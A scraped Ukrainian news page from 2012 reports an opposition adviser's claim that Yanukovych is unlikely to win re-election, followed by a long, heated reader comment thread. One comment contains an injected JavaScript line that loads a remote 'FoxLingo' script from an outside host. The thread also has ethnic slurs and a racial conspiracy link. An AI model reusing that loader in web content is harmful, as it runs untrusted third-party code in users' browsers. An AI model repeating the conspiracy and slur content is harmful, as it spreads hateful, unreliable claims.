9780 посетителей онлайн

"Выборы показали неизбираемость Януковича на второй срок", - Медведев. + ВИДЕО

Советник штаба Объединенной оппозиции "Батьківщина" Олег Медведев считает, что результаты выборов дали понять, что Президент Украины Виктор Янукович имеет не очень высокие шансы переизбраться на второй срок в 2015 году.


Смотрите также: После усиления критики Запада количество поездок Януковича за границу уменьшилось в два раза

Топ комментарии
+3
Меня удивляют украинские олигархи и вменяемые члены Партии регионов.

Есть очевидная вещь - Януковичв в 2015 году никаким легитимным образом президентом избран не будет. Т.е. если он останется президентом, то нелегетимным - со стороны Запада ему, а вслед за ним и всей Украине, гарантирована полная обструкция. Россия об него ноги вытерает и будет вытирать при любом раскладе, её не легитимность волнует, а свои имперские амбиции. И вот оно это надо олигархам и не окончательно свихнувшимся "регионалам"? Они, в итоге, потеряют и деньги, и активы, и страну.
показать весь комментарий
15.11.2012 18:02 Ответить
+2
Уж лучше, чем Бледно-голубая Мразь.
показать весь комментарий
15.11.2012 17:52 Ответить
+1
ОН ЭТОТ ПУСТЬ ПОПРОБУЕТ ДОСИДЕТЬ !
показать весь комментарий
15.11.2012 18:00 Ответить
Комментировать
Сортировать:
скептик
А как насчёт изменения в Конституцию и выборов президента через парламент?
показать весь комментарий
15.11.2012 17:51 Ответить
о
Значит Тягнисрака будущий прэзыдэнт.
показать весь комментарий
15.11.2012 17:52 Ответить
Просто
Уж лучше, чем Бледно-голубая Мразь.
показать весь комментарий
15.11.2012 17:52 Ответить
"Выборы показали неизбираемость Януковича на второй срок", - Медведев - Цензор.НЕТ 6011
показать весь комментарий
15.11.2012 18:11 Ответить
кровосися
Нет, следующий - Яныпися!
показать весь комментарий
15.11.2012 21:51 Ответить
пята колона
Дайош Олега Ярославича в Президенти України.
показать весь комментарий
15.11.2012 17:53 Ответить
_
Наивняк! Виборів у 2015 не буде! Владу будуть передавати у спадщину.
показать весь комментарий
15.11.2012 17:54 Ответить
Коь Фуций
ОН ЭТОТ ПУСТЬ ПОПРОБУЕТ ДОСИДЕТЬ !
показать весь комментарий
15.11.2012 18:00 Ответить
Меня удивляют украинские олигархи и вменяемые члены Партии регионов.

Есть очевидная вещь - Януковичв в 2015 году никаким легитимным образом президентом избран не будет. Т.е. если он останется президентом, то нелегетимным - со стороны Запада ему, а вслед за ним и всей Украине, гарантирована полная обструкция. Россия об него ноги вытерает и будет вытирать при любом раскладе, её не легитимность волнует, а свои имперские амбиции. И вот оно это надо олигархам и не окончательно свихнувшимся "регионалам"? Они, в итоге, потеряют и деньги, и активы, и страну.
показать весь комментарий
15.11.2012 18:02 Ответить
це який рыгоскот вмєняємий? не підскажете?
показать весь комментарий
15.11.2012 18:16 Ответить
Должны быть. Не все же там о белорусской моедли мечтают, да и о россиской тоже. Там, ведь, уже много кто в Европу интегрировался, на индивидуальной, так сказать, основе.
показать весь комментарий
15.11.2012 18:21 Ответить
наверное поэтому партию Удар называют проектом Левочкина-Фирташа,что они понимают,что хаму писец и ищут альтернативу приемлемою и им, и украинцам, и западу очень похоже на правду!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();
показать весь комментарий
15.11.2012 20:23 Ответить
Ну, и к чему здесь этот код JavsScript?
показать весь комментарий
15.11.2012 22:30 Ответить
"Выборы показали неизбираемость Януковича на второй срок", - Медведев - Цензор.НЕТ 5555
показать весь комментарий
15.11.2012 18:14 Ответить
ляшко
я вам буду президентом
показать весь комментарий
15.11.2012 18:18 Ответить
Семен
Неважно как голосуют,важно кто считает...
показать весь комментарий
15.11.2012 18:20 Ответить
Світлана
Януковича однозначно не можна вибирати.А тепер треба думати кого.Тимошенко-ні в якому разі.Яценюка-хліпковат..(вибачте) Кличко-туповат(вибачте)Тягнибок-я особисто ЗА.Це найкращий варіант.Але. знаючи переляканість Сходу і Півдня. можна програти.Свободі треба дуже результативно працювати і не йти ні на які провокації:ідеологічне протистояння.втягнення в другорядні проблеми іт.д. і т. п.Єдина мета-соціальна справедливість.рівність перед законами.відмова від будь-яких пільг і збагачення при владі.Тобто СВОБОДА повинна за 2 роки показати абсолютно іншу якість політики
показать весь комментарий
15.11.2012 18:50 Ответить
Олександр
Чим тобі Кличко туповат? Вын знає чотири мови (вільно розмовляє), гарно грає в шахи. Я голосував за Свободу/Батьківщину, але найкращим президентом для України наразі вважаю саме Віталія Кличка.
показать весь комментарий
15.11.2012 19:32 Ответить
Тупко - НІ
Шахи? То був лише піар, щоб показати що не тупий. Знає аж 4 мови, 2 з яких російска і українська, і німецьку розмовного типу він був змушенний вивчити, а англійську його я як почув то сміявся довго. Як може людина з відбитим мозком думати?
показать весь комментарий
15.11.2012 21:44 Ответить
на премєра
А можна я буду премєр міністром? Я володію трьома мовами і також граю в шахи! Через таких дурнів як ви, Олександре, ми й маємо "проХффесійну" владу! Вам нічого не потрібно, аби "Чернігівське" "гріло" та й ящик працював... Сумно!
показать весь комментарий
15.11.2012 21:53 Ответить
tryba
я тоже так что Кличко....за него и восток с югом проголосует. Ну по крайней мере это намного лучше что имеем сейчас
показать весь комментарий
15.11.2012 19:47 Ответить
Салот Сар
Всем смотреть!!! Секрет который не должно знать быдло!!!! Документальний фільм "Інтервенція. Гарвардсько-Хьюстонський проект - знищення Слов'яно-Арійської раси." http://partiyslovyan.blogspot.com/
показать весь комментарий
15.11.2012 20:15 Ответить
Другими словами
По перше, праймериз не трапляються, праймериз оголошують до того, як воно відбудеться: інакше кожна політична сила зможе вважати за праймериз різну подію (і, відповідно, мати різний результат).

По друге, праймериз проводиться під конкретне питання: наприклад; "кого хочете бачити ПРЕЗИДЕНТОМ?". Питання відносно депутата чи що до кухаря тут не зовсім до чого.

Третте, праймериз не проводиться за два роки до виборів, коли ще істотно можуть змінитися уподобання.

І, нарешті, якщо вже вважати ці вибои праймериз президентських, то чому лідер партії, яка набрала більше за БЮТ, Кличка і Свободу разом виявив себе непрохідним?
показать весь комментарий
15.11.2012 20:21 Ответить
Read
Выборы показали, что не важно, как мы проголосуем, а важно то как они посчитают. Мы все проглотим затянув язык в ОПУ.
показать весь комментарий
15.11.2012 20:36 Ответить
Ребята
выбертье президентом меня,гарантирую,каждый ворюга сядет,но это све равно не спасет страну...
показать весь комментарий
15.11.2012 20:42 Ответить
Первое, что надо сделать, так это вернуться к парламентско-президентской модели государственного устройства. И тогда уже не так важно кого выберут "сидеть на унитазе" - Прыщемордого или Яйцепадучего.
А вот Премьером я вижу Гриценка. Дума.ю что его поддержала бы и Тимошенко. А Кличку и Яценюку ишо рано...... Ещё успеют. Расти ещё надо.
показать весь комментарий
15.11.2012 20:51 Ответить
Другими словами
Під килим сміття змітати **********? Забрати повноваження в однієї гілки, тоді в тій, в якої забрали, проблем поменшає. А в тій, звідки забрали?......

Друге, кого Ви бачите прем'єром мало кого цікавить в "парламентско-президентской": рішення прийматиме Рада. Точніше, фракція більшості.

Гадаю, усі наші проблеми від політреформи 2004. Щоб забрати повноваження у президента обраного народом (на той час), влада влаштувала політреформу з більшістю. Відразу виникла потреба в партіях, здатних утворити таку більшість: дуже заманливо поставити "свого" хлопця прем'єром, а не сушити голову над нудними гігакалоріями і мегатонами. Настільки заманливо, що утворилося відразу дві такі партії - БЮТ та ПР. Згодом, вони (разом з відвертими сателітами та тушками) захопили увесь парламент. Наслідок - крайня поляризація Ради, де обговорюють лише одне питання: "чия Юля більше Януковіч?". Наслідок - одна з мегапартій таки отримує більшість, рішення приймаються головою цих партій, а самі сесії втрачають будь який сенс (крім штампування).
показать весь комментарий
16.11.2012 06:12 Ответить
Роман
Шановний пане Олеже !

В мене питань до соціології вже давно немає. Регулярна недодача Батьківщині ( чи БЮТу ) - це не прорахунок чи якісь дива в останні дні перед виборами. Це 100 % заангажованність ( у одних соцагенств більше, у інших меньше ) соцагенств. Їм настирливо вказують щоб вони занижували тим, хто проти влади регіоналів. Про що мова, панове. Зі Свободою те саме. А от УДАР, подивіться, УДАРУ не занижували. Чому ? А тому що і так все ясно. Для ПР УДАР не є небезпечним супротивником. Всіляки балачки всіляких копатьків про супер ривок БЮТу чи Батьківщини - це все маячня. Краще нехай Копатько оприлюднить закриті результати соцопитувань. Бо всім відомо, що такі ( об єктивні ) результати мають навіть регіонали. Але вони для внутрішнього відома. На люди йде те, що потрібно регіоналам. І не треба куйовдити бабцю !
показать весь комментарий
15.11.2012 21:18 Ответить
Ку-Ку
Выборы показали, что на сегодняшний день альтернативы Партии Регионов и президенту Януковичу нет. Только они смогли разрулить ситуацию, только они начинают что-то строить и поднимать промышленность с колен.

"Матькивщина" стыдливо умалчивает, что они собрали сборную солянку, куда вошли ингридиенты из других партий. Поэтому 25% - это результат не ВОНИ, это результат, пооделенный между всеми партиями. Так было и с "Нашей Украиной" во время оранжевого шабаша, которая вобрала в себя порядка 13-ти разношёрстных партий.

ВОНЯ и её подкаблучники на сегодняшний день имеют максимум 12%. Всё! Это - потолок.

Если бы ВОНЯ со своими со своими лузерами-неудачниками смогли бы влёгкую набрать 30% и выше - она бы показала все оппозициянтам жест, которым выковыривают пищу между зубами, как это на скрытую камеру показал Власенко, унизив ниже плинтуса лидера двух нулей Яценюка.

Очень жаль, что нет в живых Кушнарёва. В 2015 году он бы стал президентом Украины.

А представителям двух нулей скажу оодно - рано вы начали президентскую гонку. На финише сдохните, сбив дыхалку и потеяв темп.
показать весь комментарий
15.11.2012 21:27 Ответить
ДА
ПОДДЕРЖИВАЮ НА 100%!!!
показать весь комментарий
15.11.2012 22:00 Ответить
западний бірабіджан
..а также условную ізбіраємосць всєх другіх кандзідатаф..
показать весь комментарий
15.11.2012 22:05 Ответить
Виктор Федорыч
Какой то этот Медведев малахольный, все уже давно знают истину - главное не как голосуют, а главное как считают. Так что шансы 100%, и любой суд результат подтвердит.
показать весь комментарий
15.11.2012 23:11 Ответить
Бентли
Элементарно из Кличко могут сделать Прзидента. Э-ле-мен-тар-но ! И миллионы разных недоумков это поддержат. А умные просто будут смотреть на него как на меньшее зло. Но стать Президентом только на личных качествах и, что еще смешнее, выбороть себе право в нешуточной борьбе стать лидером - для Кличко это за гранью реальности. Лично мне сделанный кем-то Президент-красавчег - это унизительно. Тем более, что делать из него Президента будут люди, которых и людьми-то назвать нельзя. Они его будут оберегать как принцессу от критики и от часто заслуженных насмешек, ему создадут тепличные условия, по каналу ИНТЕР это уже видно. Киселев уже подсказывает пока еще не совсем понимающему Кличко, что он, Кличко - супер-лидер. Один только ИНТЕР - это уже убийственная референция. Но некоторые люди упорно желают увидеть еще одного Ющенко с его позорным концом, и они его увидят. И еще. Пусть кто-то возразит, что так всеми проклинаемый вашингтонский обком, не хочет нам поставить Президентом этого боксера.
показать весь комментарий
16.11.2012 00:01 Ответить
Бентли
Мне вот интересно, если бы партии УДАР продажные социологи, не рисовали по 17 а то и 20 %, выводя его по рейтингу даже выше Батькивщины, если бы они вместе с такими же продажными политологами не возносили Кличко, а наоборот как Батькивщине рисовали на 5-7 % всегда меньше реального, или как Свободе на 5-7 % ниже реального, сколько бы набрала партия УДАР ? Да не более 10 %. Считаю необходимым убедительно просить социологов и политологов не обижаться за мои оценки. Ведь продажность судей, прокуроров и ментов никого не удивляет а даже служит темой для шуток и прибауток на 95-м квартале. Так почему это вдруг социологи и политологи не могут продаваться, они что, святые ? То-то. Так что без обид. Это жизнь, и нам с ней жить.
показать весь комментарий
16.11.2012 00:08 Ответить
Другими словами
Теж усім радив - не дивіться на опитування: Ви маєте голосувати за людину, яку вважаєте чесною! Навіть якщо вона не пройде - це буде рішення тих, хто голосував за інших. А ще тих, хто писав той Закон, який змінив правила гри саме в такий спосіб. Хай вони й відповідають за наслідки.

А зараз можливий багатошарове викривлення результатів. Це коли спочатку на велику партію кажуть спочатку середня. Потім - мала. Коли частина виборців під впливом цього йде від неї, кажуть що вона ризикує. Йде ще трохи, і ми називаємо її сумнівною. Далі взагалі непрохідною.....
показать весь комментарий
16.11.2012 06:25 Ответить
оптимист
СВОБОДУ ПРЕЗИДЕНТУ УКРАИНЫ ЮЛИЮ ТИМОШЕНКО.
показать весь комментарий
16.11.2012 06:54 Ответить
Другими словами
Вітати з президенством завчасно - погана прикмета. Путін знає.
показать весь комментарий
16.11.2012 08:36 Ответить
седой
зато имеет охреновенческие шансы на охреновенческие фальсификации выборов
показать весь комментарий
16.11.2012 09:44 Ответить
днк
ДА ЗДРАСТВУЕТ ПРЕЗИДЕНТ УРАИНЫ ЮЛИЯ ВЛАДИМИРОВНА КАПИТЕЛЬМАН-ГРИГЯН ВЕЛИКИЙ ВОР И АФЕРИСТ ВСЕХ ВРЕМЕН И НАРОДОВ !!!
показать весь комментарий
16.11.2012 10:05 Ответить
КРОМЕ ТОГО
ВОТОРОЙ ИТОГ ВЫБОРОВ,- ИМЕЕМ НАЦИОНАЛФАШИСТКУЮ ОППОЗИЦИЮ ВО ГЛАВЕ С ЧЛЕНАМИ БЫВШЕГО ВОРОВСКОГО КЛАНА ЛАЗАРЕНКО.
показать весь комментарий
16.11.2012 10:07 Ответить